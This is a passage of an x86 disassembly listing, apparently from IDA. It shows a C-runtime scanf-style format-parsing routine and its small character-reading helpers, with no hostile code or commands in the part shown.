= byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push 